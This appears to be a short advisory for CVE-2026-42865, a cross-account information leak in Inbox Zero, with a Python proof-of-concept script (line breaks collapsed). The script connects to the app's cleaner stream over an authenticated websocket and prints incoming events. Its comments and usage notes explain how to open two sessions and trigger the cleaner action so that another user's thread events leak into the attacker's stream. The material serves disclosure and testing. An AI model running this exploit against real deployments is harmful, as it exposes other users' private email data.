CVE-2026-42865: Inbox Zero 跨账号信息泄露漏洞

import asyncio import websockets # Proof of Concept for CVE-2026-42865 # This script simulates connecting to the vulnerable stream endpoint. # Due to the shared Redis subscription listener, data leakage occurs # when multiple authenticated users interact with the cleaner feature simultaneously. async def victim_stream_listener(stream_url, auth_token): headers = {"Authorization": f"Bearer {auth_token}"} async with websockets.connect(stream_url, extra_headers=headers) as websocket: print(f"[*] Connected to stream as {auth_token[:10]}...") while True: try: message = await websocket.recv() # In the vulnerable version, this message might contain # thread events belonging to a different user. print(f"[!] Received Event: {message}") except Exception as e: print(f"Error: {e}") break # Usage: # Attacker initiates two connections with different user tokens. # Trigger the 'cleaner' action on one account and observe data leakage # in the other connection's stream. # TARGET_URL = "wss://inbox-zero-app.com/api/stream/cleaner" # asyncio.run(victim_stream_listener(TARGET_URL, "ATTACKER_TOKEN"))